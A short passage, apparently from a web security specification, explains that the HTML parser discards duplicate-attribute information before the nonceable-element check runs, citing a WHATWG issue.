Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [Issue #whatwg/html#3257] ↵